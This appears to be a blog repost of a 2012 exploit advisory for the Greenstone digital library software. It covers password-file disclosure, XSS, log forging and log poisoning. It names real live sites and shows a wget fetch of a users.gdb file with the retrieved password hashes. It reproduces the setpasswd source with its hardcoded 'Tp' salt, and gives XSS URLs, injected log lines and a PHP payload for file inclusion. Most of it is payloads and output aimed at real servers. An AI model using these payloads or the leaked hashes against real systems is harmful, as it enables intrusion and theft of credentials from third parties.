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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/56662/info

Greenstone is prone to the following security vulnerabilities:

1. A file-disclosure vulnerability
2. A cross-site scripting vulnerability
3. A security weakness
4. A security-bypass vulnerability

Attackers can exploit these issues to view local files, bypass certain security restriction, steal cookie-based authentication, or execute arbitrary scripts in the context of the browser. 

=================Let's Roll============================


Password  file disclosure:

http://greenstone.flib.sci.am/gsdl/etc/users.gdb
http://greenstone.flib.sci.am/gsdl/etc/key.gdb
http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db
http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db

Example:
(P.S Password encryption: Des (Unix))
===================== Reproduce =====================
$ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb
--2012-11-22 17:04:39--  http://greenstone.flib.sci.am/gsdl/etc/users.gdb
Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197
Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12926 (13K) [text/plain]
Saving to: `users.gdb'

100%[==========================================>] 12,926      31.8K/s   in 0.4s

2012-11-22 17:04:40 (31.8 KB/s) - `users.gdb' saved [12926/12926]
.......Some junk snip........
...                                admin<comment>created at install time
<enabled>true
<groups>administrator,colbuilder,all-collections-editor
<password>TpM5gyFpfCsLc
<username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>Tpp90HTz/jz9w
<username>demotatevik<comment>
<enabled>true
<groups>all-collections-editor
<password>Tpyq8s1oUIioc
<username>tatevik
azgayin<comment>
<enabled>true
<groups>all-collections-editor
<password>Tp53Vsj1qM4cE
<username>azgayin
demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>TpzWMQXVfKFvw
<username>demo

========================= END OF users.gbd============================


Known salt issuse (because this application uses "setpasswd" utility via 
hardcoded salt=>: Tp)
(Especially on windows systems)



================================BEGIN================================
/**********************************************************************
 *
 * setpasswd.cpp -- 
 * Copyright (C) 2000  The New Zealand Digital Library Project
 *
 * A component of the Greenstone digital library software
 * from the New Zealand Digital Library Project at the
 * University of Waikato, New Zealand.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 *********************************************************************/

// setpasswd is a windows application that can be used to encrypt a password
// and write it (along with its corresponding username) to a gdbm database.

// it handles writing to the gdbm database itself to avoid having to call
// the txt2db console application (and therefore avoiding the console
// window popping up when called from another windows application).

// note that setpasswd does no checking to make sure that any of it's
// input arguments are valid (or even reasonable) values.

// this program should be compiled into a binary called setpw.exe (to be
// short enough not to mess with 16 bit Windows platforms).

// usage:
// setpw -u username -p password -o output_gdbm_file

#include "text_t.h"
#include "crypt.h"
#include "autoconf.h"
#include "systems.h"
#include "gdbmconst.h"
#include "gdbm.h"

#include <windows.h>

text_t username;
text_t password;
text_t output_gdbm_file;

bool parse_cmdline (LPSTR cmdline) {

  bool in_quote = false;
  text_t arg;
  text_tarray args;
  unsigned char *c = (unsigned char *)cmdline;
  while (*c != '\0') {
    if (*c == '"') {
      if (!in_quote) {
  in_quote = true;
      } else {
  in_quote = false;
  if (!arg.empty()) args.push_back (arg);
  arg.clear();
      }
    } else if (*c == ' ' && !in_quote) {
      if (!arg.empty()) args.push_back (arg);
      arg.clear();
    } else {
      arg.push_back (*c);
    }
    ++c;
  }
  if (!arg.empty()) args.push_back (arg);
  
  text_tarray::const_iterator here = args.begin();
  text_tarray::const_iterator end = args.end();
  while (here != end) {
    if (*here == "-u" && (++here != end)) username = *here;
    else if (*here == "-p" && (++here != end)) password = *here;
    else if (*here == "-o" && (++here != end)) output_gdbm_file = *here;
    if (here != end) ++here;
  }
  if (username.empty() || password.empty() || output_gdbm_file.empty()) {
    MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", 
    "setpasswd failed", MB_OK);
    return false;
  }
  return true;
}

text_t crypt_text (const text_t &text) {
  static const char *salt = "Tp";
  text_t crypt_password;

  if (text.empty()) return "";

  // encrypt the password
  char *text_cstr = text.getcstr();
  if (text_cstr == NULL) return "";
  crypt_password = crypt(text_cstr, salt);
  delete []text_cstr;

  return crypt_password;
}

bool add_to_db () {

  int block_size = 0;
  GDBM_FILE dbf;
  char *dbname = output_gdbm_file.getcstr();

  // open the database
  int read_write = GDBM_WRCREAT;
  dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1);
  if (dbf == NULL) {
    MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK);
    return false;
  }

  datum key_data;
  key_data.dptr = username.getcstr();
  if (key_data.dptr == NULL) {
    MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK);
    return false;
  }
  key_data.dsize = strlen(key_data.dptr);

  text_t value = "<comment>\n";
  value += "<enabled>true\n";
  value += "<groups>administrator,colbuilder\n";
  value += "<password>" + password + "\n";
  value += "<username>" + username + "\n";
      
  datum value_data;
  value_data.dptr = value.getcstr();
  if (value_data.dptr == NULL) {
    MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK);
    return false;
  }
  value_data.dsize = strlen(value_data.dptr);
      
  // store the value
  if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) {
    MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK);
    return false;
  }
  gdbm_close (dbf);

  delete []key_data.dptr;
  delete []value_data.dptr;
  delete []dbname;
  return true;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow) {

  // parse command line arguments
  if (!parse_cmdline (lpCmdLine)) return 1;

  // encrypt the password
  password = crypt_text (password);

  // append the password and username to database
  add_to_db();
  
  return 0;
}

============================================================

XSS:

site.tld/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=<script>alert("OwnEd");</script>
Demo: 
http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E%20%3E%3E%20greenstone.flib.greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep


============================================================



Log forging:

http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe


http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223%0D%0A%0D%0AError%20D:\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A


Forged log:  http://greenstone.unam.na/gsdl/etc/error.txt              (CTRL+F and search for:  host to local port: 22)

Example:

===================EXAMPLE OF =FORGED LOG====================
Error: the action "4?e="3"



Warning: Accepted connection from unknown host to local port: 22 root logged in)          <==Fake entry for Panic system administrator))))))



" cmd.exe" could not be found.

================END OF FORGED LOG=============

Log File Poisoning: (Usefull for LFI)
www.bibliotecamuseodelamemoria.cl/gsdl/cgi-bin/library.cgi?e=4?e="%0d%0a<?php phpinfo();?>%0d%0a%00%00

Poisoned Log can be found in the following places: 
site/gsdl/etc/error.txt
or 
site/etc/error.txt              (<=On Windows systems in ex i found it here)




Example of injected log:
==================================

http://greenstone.unam.na/gsdl/etc/error.txt


Error: the action "4?e="

<?php phpinfo();?>

.." could not be found.
==================================

******************** The End *******************